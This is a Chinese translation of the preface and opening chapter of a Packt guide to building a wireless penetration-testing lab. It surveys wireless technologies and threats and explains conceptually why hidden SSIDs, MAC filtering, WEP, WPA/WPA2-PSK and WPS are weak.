无线网络渗透测试实验室构建指南-全-

无线网络渗透测试实验室构建指南(全)

原文:annas-archive.org/md5/c02d10da49274991cb397378adceced9

译者:飞龙

协议:CC BY-NC-SA 4.0

序言

构建无线网络渗透测试实验室是一本实用指南,讲解如何构建一个通过 Wi-Fi 访问的渗透测试实验室,实验室包含易受攻击的组件,同时又能防止未经授权的外部访问。本书面向那些学习道德黑客的人,以及负责渗透测试和维护组织安全的安全专家,帮助他们学习如何构建无线网络渗透测试实验室。

实验室从外部访问的安全性使得读者可以在企业和家庭网络中使用它,而无需担心自身的安全风险。因此,本书不仅适用于信息安全领域的新手,还适合那些希望将专业技能转向道德黑客领域的安全专家。你将学习如何规划实验室、添加组件、配置它们并确保环境安全。此外,你还将概览最流行的黑客框架和工具集,并能够在 Linux 笔记本或虚拟机上准备自己的无线黑客平台。

本书涵盖的内容

第一章,理解无线网络安全与风险,回顾了用于传输数据的无线技术,描述了相关风险,并总结了哪种 Wi-Fi 保护机制是最安全的。

第二章,规划实验室环境,设计实验室拓扑,规划其组件以模拟真实的企业网络,并允许你练习大多数可能的实验室任务。

第三章,配置网络实验室组件,帮助你理解我们的实验室环境中的网络通信和访问规则,你将看到两种如何构建实验室网络的选项,分别基于硬件 Cisco 设备和虚拟设备。

第四章,设计应用实验室组件,教你如何为实验室添加有用的组件,这些组件实际上为构建实验室网络的整体故事带来了意义。我们安装了你在商业渗透测试项目中最常遇到的最常见服务,并且这些服务很可能是你希望能够破解的目标。

第五章, 实施安全,向我们的读者展示如何通过安装和配置基于网络和主机的安全解决方案来保护实验室网络免受未经授权的访问和外部攻击。除了保护实验室网络外,我们还为实践重要的渗透测试主题做准备,例如绕过和规避安全机制以及评估其有效性。

第六章, 探索黑客工具包,为您提供了几种在许多黑客任务和项目中使用的流行工具包的概述,以及它们在实验室环境中的应用示例。它帮助您简要了解它们的功能和进一步学习的基础。

第七章, 准备无线渗透测试平台,向您展示如何为无线黑客准备一个渗透测试平台,包括基本必要工具。此外,本章还解释了如何选择适合渗透测试的 Wi-Fi 接口。

第八章, 接下来是什么?,为您提供了一些关于从哪里开始以及如何发展道德黑客技能并成为专业渗透测试人员的提示。

您需要为本书准备什么

本书将为您提供几种选择实验室架构概念的选项:基于硬件网络设备和虚拟网络。您可以在这两种概念中同时运行的虚拟和硬件主机数量,因此主要的硬件要求是拥有一台能够同时运行 2-3 台虚拟机的计算机。例如,一台配备 Intel Core i7 CPU、8 GB RAM 和 100 GB 可用硬盘空间的笔记本电脑就能够完成所有任务。

另外,您还需要一个小型办公室/家用无线路由器和一个硬件接入点(我们使用基于 Cisco IOS 的接入点)。

对于基于硬件网络设备的概念,您还需要拥有至少 12 个网络端口的可管理交换机和至少一个以太网端口的可管理路由器(在我们的书中,我们使用旧的 Cisco Router 1700 系列和 Cisco Catalyst 2900 系列)。

本书中提到许多软件,其中大部分是免费的,但有些你需要购买或使用试用版本。对于基本功能,你需要一个虚拟化平台,如 VMware Workstation、VMware ESX、Oracle VirtualBox,或任何适合并让你觉得舒适的虚拟化平台。虚拟化平台没有严格的版本要求,但通常来说,较新的版本对于本书的目的更为合适。如果你打算使用虚拟网络设备构建实验室网络,GNS3 软件也是必需的。

你还需要其他一些重要的非免费软件,例如 Windows 7 和 Windows Server 2008,但你也可以使用 Windows 8 至 Windows 10 和 Windows Server 2012。

本书适合谁

如果你是初学者,或者是希望学习如何构建一个家庭或企业实验室环境的安全专业人士,在这个环境中你可以安全地练习渗透测试技巧并提升你的黑客技能,那么本书适合你。无需具备先前的渗透测试经验,因为实验室环境适合各种技能水平,且适用于从基础到高级的各种技术。无论你是在线学习的新手,还是经验丰富的专家,你都能够根据任务设置自己的黑客实验场地。

约定

在本书中,你会看到一些文本样式,它们用来区分不同种类的信息。以下是这些样式的一些示例及其含义说明。

文本中的代码词汇、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟网址、用户输入和 Twitter 账号会如下所示:“为了测试网络连接性和可操作性,我们可以使用基于 ICMP 的命令pingtracert。”

一段代码以如下方式设置:

client 172.16.1.2 {
        secret = YourSecret
        shortname = TrustedWLAN
}

任何命令行输入或输出如下所示:

**copy running-config startup-config**

新术语重要词汇会以粗体显示。在屏幕上看到的单词,例如菜单或对话框中的单词,会以以下方式出现在文本中:“我们不会在实验室中使用IOS on UnixQEMU这两个标签,因此我们也不会对这些标签做任何更改。”

警告或重要提示会以这种方式显示:

提示

小贴士和技巧以这种方式出现。

读者反馈

我们始终欢迎读者的反馈。请告诉我们你对这本书的看法——你喜欢什么或不喜欢什么。读者反馈对我们非常重要,因为它帮助我们开发出更符合你需求的书籍。

若要向我们提供一般反馈,只需发送电子邮件至<feedback@packtpub.com>,并在邮件主题中提及书籍标题。

如果你在某个领域有专长,并且有兴趣写作或为书籍做贡献,请查看我们的作者指南:www.packtpub.com/authors

客户支持

既然你已经拥有了一本 Packt 书籍,我们有很多资源可以帮助你充分利用这次购买。

下载示例代码

您可以从您在www.packtpub.com的帐户下载本书的示例代码文件。如果您在其他地方购买了这本书,您可以访问www.packtpub.com/support并注册,以便将文件直接通过电子邮件发送给您。

您可以按照以下步骤下载代码文件:

  1. 使用您的电子邮件地址和密码登录或注册到我们的网站。

  2. 将鼠标指针悬停在顶部的支持选项卡上。

  3. 点击代码下载和勘误

  4. 搜索框中输入书名。

  5. 选择您要下载代码文件的书籍。

  6. 从下拉菜单中选择您购买这本书的地点。

  7. 点击代码下载

下载文件后,请确保使用最新版本的以下软件解压缩文件:

  • WinRAR / 7-Zip 适用于 Windows

  • Zipeg / iZip / UnRarX 适用于 Mac

  • 7-Zip / PeaZip 适用于 Linux

勘误

尽管我们已经尽一切努力确保内容的准确性,但错误确实会发生。如果您在我们的书籍中发现错误——也许是文本或代码中的错误——如果您能向我们报告这一点,我们将不胜感激。通过这样做,您可以帮助其他读者避免沮丧,并帮助我们改进本书的后续版本。如果您发现任何勘误,请访问www.packtpub.com/submit-errata报告,选择您的书籍,点击勘误提交表格链接,并输入您的勘误详情。一旦您的勘误经过验证,您的提交将被接受,并且勘误将被上传到我们的网站或添加到该标题的勘误部分的任何现有勘误列表中。

要查看先前提交的勘误,请转到www.packtpub.com/books/content/support并在搜索字段中输入书名。所需信息将显示在勘误部分下。

盗版

互联网上侵犯版权材料是跨所有媒体持续存在的问题。在 Packt,我们非常重视保护我们的版权和许可。如果您在互联网上发现我们作品的任何非法副本,请立即向我们提供位置地址或网站名称,以便我们采取补救措施。

请通过链接<copyright@packtpub.com>与我们联系,提供涉嫌盗版材料的链接。

我们感谢您帮助保护我们的作者和我们为您提供有价值内容的能力。

问题

如果您对本书的任何方面有问题,您可以通过<questions@packtpub.com>与我们联系,我们将尽力解决问题。

第一章:理解无线网络安全性和风险

在本章中,我们将回顾哪些无线技术允许数据传输,重点介绍 Wi-Fi 技术,因为它是构建我们自己的渗透测试实验室中最重要的技术。由于这是构建高安全性实验室的一个非常重要的话题,我们还将回顾常见的 Wi-Fi 安全机制及其安全风险,并概述典型的无线攻击方法。

在本章中,我们将涵盖以下主题:

  • 理解无线环境和威胁

  • 常见 WLAN 保护机制及其缺陷

  • 熟悉 Wi-Fi 攻击流程

理解无线环境和威胁

作为理解无线安全性和构建高安全性无线实验室的第一步和关键步骤,应当理解无线媒介的性质及其在现代生活中的作用。在本节中,我们将回顾无线网络的主要特点和威胁。

有线网络通过电缆进行数据传输,因此被视为“受控”环境,受到物理安全级别的保护。为了访问有线网络,攻击者需要克服任何物理安全系统,进入建筑物或其他受控区域,并且还需要克服逻辑安全系统,如防火墙和入侵检测/预防系统IDPS)。

在无线网络的情况下,环境是开放的,几乎没有控制。如今,提供相当于有线网络物理安全的安全级别并不容易。无线网络的信号可以从同一建筑的另一层、邻近建筑,甚至外部接收到——无线网络的物理边界仅由信号强度限制。因此,与有线网络中连接点已知不同,无线网络可以从任何地方访问——只要信号足够强。

无线技术概览

如今,各种技术被用于无线数据通信。它们在所使用的媒介、频段、带宽、编码方法、应用范围和其他特性上有所不同。让我们从定义无线通信这一术语开始。我们认为,它是指根据特定规则或规格,在没有通过电缆或线缆建立物理连接的情况下,两台或多台设备之间的远程通信。

为了更清晰地理解我们的定义,让我们定义可以赋予所讨论的通信方法的特征:

  • 拓扑结构

    • 点对点

    • 点对多点

  • 使用场景

    • 企业基础设施:办公和技术

    • 提供服务

    • 个人使用

  • 范围

    • 无线个人区域网络WPAN):蓝牙、红外线(IrDA)和射频识别(RFID)

    • 无线局域网WLAN):Wi-Fi

    • 无线城域网WMAN)和无线广域网WWAN):WiMAX、GSM 和 UMTS

  • 速度

    • WPAN 的 1 Mbit/s

    • WLAN 的 54 Mbit/s

    • WMAN 的 300 Mbit/s

    • WWAN 的 15 Mbit/s

以下图表简洁而直观地映射了无线技术的两个最重要特性(数据传输速度和覆盖范围):

无线技术概览

基于覆盖范围和数据传输速度的无线通信分类

现在我们已经有了明确的定义,可以继续探讨一些无线数据传输技术及其特点。

让我们从移动蜂窝通信开始,这是现在最常见的一种无线数据传输方式。蜂窝通信是一种移动网络——基于蜂窝网络的一种移动通信。其关键特性是整个覆盖区域被划分为多个小区。小区之间部分重叠,共同形成一个网络。网络由多个基站组成,这些基站在相同频段内运行,各自覆盖自己的区域(小区)并提供无线信号和交换设备。小区具有唯一的 ID,能够确定用户的当前位置,并在用户从一个基站的覆盖区域移动到另一个基站的覆盖范围时,保持连接的连续性。

移动通信的历史始于 20 世纪中期,发展至今经历了四个主要的里程碑:

  • 1GG代表代):模拟蜂窝通信(基于 AMPS、NAMPS 和 NMT-450 标准)

  • 2G:数字蜂窝通信(GSM 和 CDMA)

  • 3G:宽带数字蜂窝通信(UMTS)

  • 4G:满足高需求的蜂窝移动通信(LTE)

目前,最具前瞻性的解决方案是 UMTS 和 LTE。这两种数据传输标准继承了 GSM,并能够传输语音或数据,提供各种服务。这些标准与旧一代相比的独特之处在于能够以更高的速度传输数据(UMTS 的入站数据速度可达 21 Mbit/s,LTE 的入站数据速度可达 300 Mbit/s)。这些速度使得在互联网上的工作变得更加舒适。

由于存在大量现有标准,并且不同国家和行业的政府要求存在差异,因此可以在不同国家和行业使用基于不同加密算法的各种频率进行数据传输和信息保护。

接下来我们要回顾的无线技术是蓝牙(WPAN 的代表)。蓝牙允许在个人设备之间交换信息,如手机、个人电脑、平板电脑、输入设备(麦克风、键盘和游戏手柄)以及输出设备(打印机和耳机)。蓝牙在免费且广泛可用的无线电频率(2.4 至 2.485 GHz 之间)上工作,用于短距离通信,典型距离为最多 10 米(但也有例外),并支持两种连接方式:点对点和点对多点。

蓝牙具有多层架构,包括主协议和一组辅助协议,这些协议实现以下功能:

  • 在两个设备之间创建和管理无线连接

  • 发现设备提供的服务并确定参数

  • 创建虚拟串行数据流并模拟 RS-232 控制信号

  • 从其他协议栈传输数据

  • 管理高层服务,如音频分配

除了实现这些功能的协议外,蓝牙协议栈还包含以下协议:

  • PPP点对点协议

  • TCP/IP

  • OBEX对象交换协议

  • WAE无线应用环境

  • WAP无线应用协议

另一种有趣的无线数据传输方式是利用光波。描述使用红外光波作为环境进行数据传输的物理和逻辑层协议的标准组被称为IrDA红外数据协会)。通常,这种交互的实现方式是发射器(红外发光二极管)和接收器(光二极管)位于连接的两侧。

这种技术在 1990 年代末期变得特别流行。如今,它几乎完全被更现代的通信方式,如 Wi-Fi 和蓝牙所取代。但它仍然在家电的遥控器中使用,通常这些设备具有单向连接(一个端有发射器,另一个端有接收器)。

放弃 IrDA 的主要原因如下:

  • 限制连接的距离

  • 直接可见性要求

  • 数据传输速度较慢(在标准的后期修订版本中,速度有所提升,但即使是高速版本现在也不太流行)

另一种无线光学数据传输的例子是自由空间光学FSO)。这种独特的技术使用红外激光作为信息载体,用于开阔空间中的远程通信。与 IrDA 类似,这个系统的缺点是直接可见性要求,这一要求高度依赖于天气状况。

通常 FSO 被使用:

  • 当布线不可行或成本过高时

  • 当你需要一个不受无线干扰的私人连接,并且不会造成任何干扰时(例如,在机场)

回到使用无线电信号进行无线数据传输,我们需要回顾 IEEE 802.11 标准系列,也称为 Wi-Fi(Wi-Fi 是 Wi-Fi 联盟针对基于 IEEE 802.11 标准系列的无线网络的商标)。

IEEE 802.11 系列包含几十种标准,但我们将直接查看专为数据传输设计的标准,省略辅助性标准:

  • 802.11:这是 1997 年批准的原始标准,描述了在 2.4 GHz 频率下以 1 Mbit/s 和 2 Mbit/s 速度进行传输。

  • 802.11b:这是对 802.11 的改进,支持更高的速度(最高 5.5 Mbit/s 和 11 Mbit/s)。它于 1999 年批准。

  • 802.11a:这是 1999 年批准的标准,自 2001 年起开始使用。该标准允许我们在 5 GHz 频率下以 54 Mbit/s 的速度工作。

  • 802.11g:该标准允许我们以 54 Mbit/s 的速度在 2.4 GHz 频率下传输数据。它于 2003 年批准。

  • 802.11n:该标准于 2009 年批准。此标准将数据传输速度提高到最高 600 Mbit/s,在 2.4 至 2.5 GHz 或 5 GHz 频率范围内工作。该标准向后兼容 802.11 a/b/g。

  • 802.11ac 和 802.11ad:这些标准于 2014 年批准。它们允许以最高 7 Gbit/s 的速度进行数据传输,并具有额外的工作频率(60 GHz)。

IEEE 802.11 用于在 100 米范围内通过无线电进行数据传输。通常,IEEE 802.11 网络由至少一个接入点和至少一个客户端组成,但也可以通过点对点(ad hoc)模式连接两个客户端。在点对点连接的情况下,不使用接入点,客户端直接相互连接。

由于 IEEE 802.11 适用于 WLAN 并为局域网提供高速数据传输,基于 IEEE 802.11 的解决方案是解决“最后一公里”问题的理想选择。IEEE 802.11 使我们能够降低部署和扩展局域网的成本,同时在难以到达的地方提供网络接入,如户外或具有历史价值的建筑内部。

无线威胁概述

考虑到前一部分提到的特性,下面列出最常见的无线威胁。

在无线电信号作为传输环境和有线连接的情况下,存在许多威胁,每种威胁都有其特定的特点。

我们列表中的第一个威胁是信息收集。信息收集通常从侦察开始,主要依赖于与受害者的距离,这是由于无线电波的特性——你不需要连接到另一个网络设备就能接收该设备发出的无线电波。侦察的结果可以提供关于网络对象和用户的位置、所使用的设备和技术等信息。通常,捕获的网络流量包含重要信息。通过检查网络数据包、数据包模式以及连接成员之间的会话(接入点及其客户端),可以进行流量分析。还应注意,无线网络控制数据包(服务流量)是未加密的。此外,很难区分信息收集的用户和网络中的合法参与者。无线信号覆盖范围可能超出受控区域,这为信息收集风险的实现提供了便捷的机会。

第二个威胁是网络设备设置中的问题,例如使用弱加密密钥或存在已知漏洞的认证方法。潜在的攻击者主要利用这些弱点。不正确配置的接入点可能成为突破整个公司网络的原因。此外,在企业网络的情况下,很难追踪未经授权的接入点;例如,普通员工可以带着未注册的接入点连接到公司网络。这不仅对无线网络构成严重威胁,而且对整个公司的基础设施也带来威胁。

配置错误的无线客户端比配置错误的接入点带来的威胁更大。这些设备是移动的,且通常没有专门配置来减少风险,或者仍然使用默认设置。

接着前一点,下一种威胁是破解加密。攻击者对广泛使用的加密算法的漏洞了如指掌,例如在 WEP 协议的情况下,他们可以在不到 10 分钟的时间内从客户端获取预共享密钥。

面对无线网络的第四个威胁是追踪用户行为的困难。正如前面所提到的,无线设备并不“绑定”于网络,可以更改连接网络的点。无线客户端的配置错误可能会使其自动连接到最近的无线网络。这一机制使得攻击者能够将毫无戒心的用户设备切换到攻击者的设备上,而不是合法的接入点,从而进行漏洞扫描、钓鱼攻击或中间人攻击。此外,如果用户同时连接到有线网络,这也成为了进入企业网络的一个便捷入口。

冒充用户是对任何网络的重大威胁,不仅仅是无线网络。然而,在无线通信的情况下,验证用户身份更加困难。网络标识符(SSID)和 MAC 地址过滤存在,但它们都会以明文形式广播在服务包中,容易被截获。冒充身份使攻击者能够向授权通信中插入错误帧,并对企业基础设施进行攻击。

许多笔记本电脑用户如果对有线网络服务质量(如连接弱、URL 过滤或端口过滤)不满意,倾向于切换到 WLAN,这增加了风险。在大多数情况下,当有线网络断开时,操作系统会自动进行切换。

我们想提到的最后一个威胁是 拒绝服务 (DoS)。典型 DoS 攻击的目的是破坏网络服务的可用性或完全阻止授权客户端的访问。例如,可以通过从伪造的地址发送去认证或“垃圾”包来淹没网络,从而发起攻击。在这种情况下,追踪攻击源并不是一项容易的任务。此外,还存在在物理层上组织 DoS 攻击的可能性,通过在特定频率范围内运行一个强大的干扰器。

Wi-Fi 媒体特性

尽管无线技术种类繁多,但绝大多数企业和个人网络通信基于 Wi-Fi 技术,这也是我们深入探讨这种无线技术的原因。

Wi-Fi 容易受到前面提到的所有无线技术常见的威胁—没有任何电缆或其他物理连接在客户端与网络设备之间,虽然为用户提供了极大的移动性,但也成为了大多数 Wi-Fi 安全缺陷和挑战的根源。这既是 WLAN 的主要优势,也是其主要劣势。

第一个 Wi-Fi 规范,即 802.11 标准,规范了在 2.4 GHz 中心频率下操作的设备,最大速度可达 2 Mbit/s,并于 1997 年获得批准。

802.11 系列标准规范了网络和设备的架构,并描述了 OSI 模型的前两层,以及交互协议。标准规定了物理层的基础频率、调制技术和扩频技术。

IEEE 802.11 标准严格规范了 OSI 模型的前两层:物理层和数据链路层,它们决定了局域网的具体特性。OSI 模型的上层在无线和有线局域网中是相同的:

Wi-Fi 媒体特性

OSI 模型层次

区分各种局域网特征的需求通过将数据链路层分为两个子层来体现:逻辑链路控制LLC)和媒体访问控制MAC)。MAC 层提供了正确共享整体环境的功能。在获得对环境的访问权限后,它可以使用更高层次的 LLC,LLC 实现与相邻网络层接口的功能。在 802.11 标准中,MAC 类似于以太网网络的实现。根本区别在于,802.11 使用半双工收发器,无法在通信会话中检测到碰撞。MAC 在 802.11 标准中使用一种特殊的协议——载波监听多路访问与冲突避免CSMA/CA)或分布式协调功能DCF)。此外,802.11 MAC 支持两种能量消耗模式:连续工作模式和节能模式。

802.11 标准在 1999 年更新为标准 802.11b 版本,工作在相同的 2.4 GHz 主频率下,最大速度可达 22 Mbit/s。

新的 802.11b 标准的基本架构、理念和特点与原始版本的 802.11 类似,只有具有更高接入速度和数据传输层的物理层发生了变化。

该标准还引入了错误修正,并且能够在强干扰和弱信号的条件下工作。为此,标准描述了基于当前信号强度和干扰的自动数据传输速率调整方法。Wi-Fi 技术的发展大大增加了全球各种无线设备的数量,并且由于微波炉、手机和蓝牙设备等设备相互影响,造成了 2.4 GHz 频段的干扰和拥堵问题。

802.11a 标准(在 5 GHz 频段上工作)旨在减轻 2.4 GHz 频段的负载。与 2.4 GHz 频段相比,新频段的干扰源较少,噪声水平也明显较低。802.11a 标准使用了围绕 5 GHz 的两个基本频率,最大数据传输速率为 54 Mbit/s。

需要提到的是,5 GHz 频段邻近部分用于卫星和微波通信的频率。为消除 Wi-Fi 设备与其他部门系统之间的干扰,欧洲电信标准化协会ETSI)开发了两个附加协议:动态频率选择DFS)和传输功率控制TPC)。Wi-Fi 设备可以使用这些协议,在出现载波频率冲突时自动更换频率通道或减少传输功率。

Wi-Fi 发展的下一个步骤是 802.11g 标准,该标准在 2003 年获得批准。802.11g 是 802.11b 的改进版本,专为在 2.4 GHz 频率下运行、最大速度为 54 Mbit/s 的设备设计。

现在,802.11n 标准已成为最广泛使用的 Wi-Fi 技术。开发人员试图将之前版本中实现的所有优良特性集成到这个新版本中。802.11n 标准设计用于在 2.4 GHz 到 5 GHz 的中心频率下运行的设备,最高速度可达 600 Mbit/s。该标准于 2009 年 9 月由 IEEE 批准。该标准基于 MIMO-OFDM 技术。在 IEEE 标准中,802.11n 的最大数据传输速率是之前标准的几倍。这是通过将信道宽度从 20 MHz 扩展到 40 MHz,并采用 MIMO 技术(使用多个天线)实现的。

最后一项标准,即目前迅速流行的 802.11ac,是一种无线网络标准,采用于 2014 年 1 月。它在 5 GHz 频段上运行,并且向后兼容 IEEE 802.11n 标准。

该标准使我们能够显著扩展网络带宽,从 433 Mbit/s 提升到在 8x MU-MIMO 天线下达到 6.77 Gb/s。这是相对于 IEEE 802.11n 的最重要创新。此外,使用的能量大幅减少,这延长了移动设备的电池寿命。

技术信息的摘要如下表所示:

标准 频率,MHz 通道 速度,Mbit/s 功率,mW
802.11 2400-2483,5 20 1; 2 100
802.11b 2400-2483,5 13 1; 2; 5,5; 11; 22 100
802.11a 5150-5350 20 6; 9; 12; 18; 24; 36; 48; 54; 108 100
5650-6425 1000
802.11g 2400-2483,5 13 1; 2; 5,5; 6; 9; 11; 12; 18; 22; 24; 33; 36; 48; 54; 108 250
802.11n 2400-2483,5 - 150 250
5150-5350 100
5650-6425 1000
802.11ac 5170-5905 - 433 500

常见的 WLAN 保护机制及其缺陷

为了能够保护无线网络,理解现有的保护机制及其安全缺陷至关重要。本话题不仅对 Wi-Fi 安全新手有帮助,也为经验丰富的安全专家提供了复习材料。理解这一主题将帮助你了解本书中的一个重要方面:你应该妥善规划无线渗透测试实验室的安全性。

隐藏 SSID

让我们从网络管理员常犯的一个错误开始:仅依赖“安全通过隐蔽”这种方式。在当前话题的框架下,这意味着使用隐藏的 WLAN SSID(即服务集标识符)或简单的 WLAN 名称。

隐藏 SSID 意味着 WLAN 不会在广播信标中发送其 SSID 以进行自我广告,也不会响应广播探测请求,从而使其在 Wi-Fi 启用设备的网络列表中不可用。这也意味着普通用户在其可用网络列表中看不到该 WLAN。

但是,缺少 WLAN 广播并不意味着 SSID 永远不会在空中传输——它实际上以明文的形式通过大量的数据包在接入点和连接到它们的设备之间传输,无论使用的是什么安全类型。因此,SSID 总是对所有范围内的 Wi-Fi 网络接口可用,并且对任何使用各种被动嗅探工具的攻击者可见。

MAC 过滤

说实话,MAC 过滤甚至不能被认为是无线网络的安全或保护机制,但在各种来源中仍然被称为如此。那么,让我们澄清一下为什么我们不能将其称为安全特性。

基本上,MAC 过滤意味着只允许那些 MAC 地址在预定义列表中的设备连接到 WLAN,而不允许其他设备连接。MAC 地址在 Wi-Fi 中以未加密的方式传输,攻击者极其容易在不被察觉的情况下截获这些地址(请参见以下截图):

MAC 过滤

一个无线流量嗅探工具轻松揭示 MAC 地址的示例

考虑到更改网络接口的物理地址(MAC 地址)极其简单,显然,MAC 过滤不应被视为一个可靠的安全机制。

提示

MAC 过滤可以用来支持其他安全机制,但不应仅作为 WLAN 的唯一安全措施。

WEP

有线等效隐私 (WEP) 出现于近 20 年前,与 Wi-Fi 技术同时诞生,并被集成为 IEEE 802.11 标准的安全机制。

正如新技术经常发生的那样,很快就显现出 WEP 设计中的弱点,它无法为无线网络提供可靠的安全性。安全研究人员开发了几种攻击技术,使他们能够在合理的时间内破解 WEP 密钥,并利用该密钥连接 WLAN 或者拦截 WLAN 和客户端设备之间的网络通信。

让我们简要回顾一下 WEP 加密是如何工作的,以及为什么它如此容易被破解。

WEP 使用所谓的 初始化向量 (IV) 与 WLAN 的共享密钥连接,以加密传输的数据包。加密网络数据包后,IV 被直接添加到数据包中,并发送到接收端,例如接入点。这个过程在以下流程图中展示:

WEP

WEP 加密过程

攻击者只需要收集足够的 IV,这也是一个简单的任务,可以通过额外的重放攻击迫使受害者生成更多的 IV。

更糟糕的是,有一些攻击技术允许攻击者即使没有连接的客户端,也能渗透 WEP 保护的 WLAN,这使得这些 WLAN 默认情况下是脆弱的。

此外,WEP 没有密码完整性控制,这也使其容易受到对机密性的攻击。

攻击者有许多方式可以滥用 WEP 保护的 WLAN,例如:

  • 使用被动嗅探和统计密码分析解密网络流量

  • 使用主动攻击(例如重放攻击)解密网络流量

  • 流量注入攻击

  • 未经授权的 WLAN 访问

尽管 WEP 在 2003 年已被 WPA 技术正式取代,但它仍然可以在某些私人家庭网络中找到,甚至在一些企业网络中(现在大多属于小公司)。

但是这种安全技术已经变得非常罕见,并且在未来不会再被使用,主要是由于企业网络中的意识提升,以及制造商不再在新设备中默认启用 WEP。

在我们谦虚的看法中,设备制造商不应在新设备中包括 WEP 支持,以避免其使用并提高客户的安全性。

注意

从安全专家的角度来看,WEP 永远不应被用来保护 WLAN,但可以用于 Wi-Fi 安全培训目的。

无论使用何种安全类型,共享密钥始终会增加额外的安全风险;用户往往倾向于共享密钥,从而增加了密钥泄露的风险,并减少了对密钥隐私的责任。

此外,使用相同密钥的设备越多,攻击者在密码分析攻击中的适用流量就越大,从而提高了攻击性能和成功的机会。通过为用户和设备使用个人标识符(密钥、证书),可以最小化此风险。

WPA/WPA2

由于 WEP 存在众多安全漏洞,下一代 Wi-Fi 安全机制于 2003 年推出:Wi-Fi 保护访问(WPA)。它被宣布为 WPA2 发布之前的中间解决方案,并且在安全性方面比 WEP 有显著提升。

这些改进包括:

  • 更强的加密:新标准使用比 WEP 更长的加密密钥(256 位与 64 位和 128 位),并能够使用高级加密标准AES)算法。

  • 密码完整性控制:WPA 使用一种名为 Michael 的算法,而不是 WEP 中使用的 CRC。这是为了防止数据包在传输过程中被篡改,并防止重新发送被嗅探到的数据包。

  • 临时密钥的使用临时密钥完整性协议TKIP)会自动为每个数据包更改加密密钥。这是对静态 WEP 的重大改进,后者的加密密钥可以手动输入到 AP 配置中。TKIP 也使用 RC4,但其使用方式得到了改进。

  • 客户端认证支持:使用专用认证服务器进行用户和设备认证使得 WPA 适用于大型企业网络。

WPA 中实现了密码强度强大的 AES 算法,但并未设置为强制使用,仅作为可选。

尽管 WPA 是对 WEP 的重要改进,在 WPA2 于 2004 年发布并成为所有新型 Wi-Fi 设备的强制性解决方案之前,它仍然是一个临时解决方案。

WPA2 与 WPA 工作原理非常相似,WPA 和 WPA2 的主要区别在于用于提供安全性的算法:

  • 在 WPA2 中,AES 成为了默认的加密算法,取代了 WPA 中的默认 RC4。

  • WPA 中使用的 TKIP 已被块链消息认证码协议CCMP)取代

由于工作流程非常相似,WPA 和 WPA2 也容易受到类似的攻击,通常被称为 WPA/WPA2,有时写成一个词。WPA 和 WPA2 都可以在两种模式下工作:预共享密钥PSK)或个人模式以及企业模式。

预共享密钥模式

预共享密钥或个人模式旨在用于家庭和小办公室网络,这些网络复杂度较低。我们非常确定,我们的所有读者都遇到过这种模式,并且大多数人在家中使用它连接笔记本电脑、手机、平板电脑等到家庭网络。

PSK 模式的基本思想是在接入点和客户端设备上使用相同的秘密密钥来对设备进行认证,并建立用于网络连接的加密连接。使用 PSK 的 WPA/WPA2 认证过程包括四个阶段,也称为4 次握手。它在以下图表中有所描述:

预共享密钥模式

WPA/WPA2 4 次握手

PSK 模式下的 WPA/WPA2 主要缺陷是可以嗅探整个 4 次握手过程,并且可以在离线状态下对安全密钥进行暴力破解,无需与目标 WLAN 进行任何交互。一般来说,WLAN 的安全性主要取决于所选 PSK 的复杂性。

计算用于 4 次握手中的PMK(主要主密钥)是一个非常耗时的过程,与其他计算操作相比,计算数十万个 PMK 可能需要很长时间。但是,在使用短且低复杂度的 PSK 的情况下,即使在性能不强的计算机上,暴力破解也不会花费太多时间。如果密钥复杂且足够长,破解时间可能会长得多,但仍然有方法可以加速这个过程:

  • 使用支持CUDA(简称Compute Unified Device Architecture)的强大计算机,使软件能够直接与 GPU 进行通信。由于 GPU 本来就是为执行数学运算而设计的,并且比 CPU 快得多,使用 CUDA 进行破解的过程比使用 CPU 快几倍。

  • 使用包含各种 PSK 及其对应预计算哈希值的彩虹表。这为攻击者节省了大量时间,因为破解软件只需从拦截到的 4-way 握手中搜索一个值,如果匹配,就返回与给定 PMK 对应的密钥,而不是为每一种可能的字符组合计算 PMK。由于 WLAN SSID 在 4-way 握手中类似于加密盐,针对同一密钥的 PMK 会因不同的 SSID 而不同。这限制了彩虹表的应用范围,只能用于一些最流行的 SSID。

  • 使用云计算是加速破解过程的另一种方式,但通常需要额外的费用。攻击者能够租用的计算能力越强(或通过其他方式获得的计算能力),破解过程就越快。网络上也有提供各种破解用途的在线云破解服务,包括破解 4-way 握手。

此外,像 WEP 一样,WPA/WPA2 PSK 的用户越多,泄露的风险就越大——这也是它不适用于大型复杂企业网络的原因。

WPA/WPA2 PSK 模式仅在密钥足够长且复杂,并且与独特的(或至少不常见的)WLAN SSID 一起使用时,才能为家庭和小型办公网络提供足够的安全性。

企业模式

如前所述,使用共享密钥存在安全风险,而在 WPA/WPA2 中,密钥长度和复杂性是高度依赖的。但在企业网络中,有几个因素需要考虑:灵活性、可管理性和可追溯性。

在大型网络中,实施这些功能的组件有很多,但在我们讨论的主题中,我们主要关注其中的两个:AAA认证、授权和计费)服务器和无线控制器。

WPA-Enterprise 或 802.1x 模式是为企业网络设计的,这些网络需要高安全级别,并要求使用 AAA 服务器。在大多数情况下,RADIUS 服务器被用作 AAA 服务器,以下EAP可扩展认证协议)类型与 WPA/WPA2 一起支持(以及其他若干类型,具体取决于无线设备),用于执行认证:

  • EAP-TLS

  • EAP-TTLS/MSCHAPv2

  • PEAPv0/EAP-MSCHAPv2

  • PEAPv1/EAP-GTC

  • PEAP-TLS

  • EAP-FAST

你可以在下图中找到简化的 WPA-Enterprise 认证工作流程:

企业模式

WPA-Enterprise 认证

根据 EAP 类型配置,WPA-Enterprise 可以提供多种认证选项。

最流行的 EAP 类型(基于我们在多个渗透测试中的经验)是 PEAPv0/MSCHAPv2,它与现有的 Microsoft Active Directory 基础设施相对容易集成,并且管理相对简单。但这种 WPA 保护方法相对容易被恶意接入点通过窃取和暴力破解用户凭证所击败。

最安全的 EAP 类型(至少在正确配置和管理的情况下)是 EAP-TLS,它采用基于证书的身份验证,适用于用户和身份验证服务器。在这种身份验证类型下,客户端还会验证服务器的身份,只有当配置出现错误或证书管理和分发存在安全隐患时,才可能通过恶意接入点发起成功的攻击。

注意

建议使用 WPA-Enterprise 的 EAP-TLS 模式,并进行客户端和服务器证书的双向身份验证来保护企业 WLAN。然而,这种安全方式需要额外的工作和资源。

WPS

Wi-Fi 受保护设置WPS)实际上并不是一种安全机制,而是一种密钥交换机制,它在设备和接入点之间建立连接时起着重要作用。它的设计目的是简化设备与接入点之间的连接过程,但如果启用它,结果证明它是现代 WLAN 中最大的漏洞之一。

